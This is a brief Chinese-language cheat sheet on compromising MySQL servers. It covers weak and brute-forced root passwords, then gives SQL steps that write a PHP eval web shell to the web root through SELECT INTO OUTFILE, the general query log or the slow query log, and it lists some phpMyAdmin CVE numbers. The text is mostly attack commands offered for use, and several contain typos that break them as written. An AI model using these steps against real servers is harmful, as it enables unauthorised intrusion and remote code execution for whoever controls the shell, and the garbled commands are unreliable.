弱口令

用户密码都是root

或者可以爆破

写入shell

最常见是select into outfile写入shell

  1. 需要知道网站的绝对路径,而且容易失败
  2. select @@basedir 看到mysql所在的绝对路径
  3. show variables like “secure_file_priv”; 如果值不是N U L L可以写入文件
  4. select load_file(‘c:/www/a.php’)
  5. select ‘<?php eval($_POST[cmd]; )?>’ int outfile ‘c:/www/a.php’ ;

利用日志写入shell

mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell

  1. show variables like ‘general%’;
  2. 出现两个值,general_log 日志保存状态 general_log_file 日志保存路径
  3. 开启general_log后,可以记录用户输入的每条命令,会保存在general_log_file一个.log文件中
  4. set global general_log = “ON”;
  5. set global general_log_file =’C:/www/a.php’;
  6. select ‘<?php eval($_POST[cmd];)?>’;

使用慢查询日志getshell

  1. show variables like ‘%slow%’;
  2. set GLOBAL slow_query_log=on;
  3. set global slow_query_log_file =”C:/WWW/a.php”;
  4. select ‘<?phpphpinfo();?>’ from mysql.db where sleep(10);

特殊版本

CVE-2016-5734
CVE-2018-12613
CVE-2014-8959
CVE-2018-19968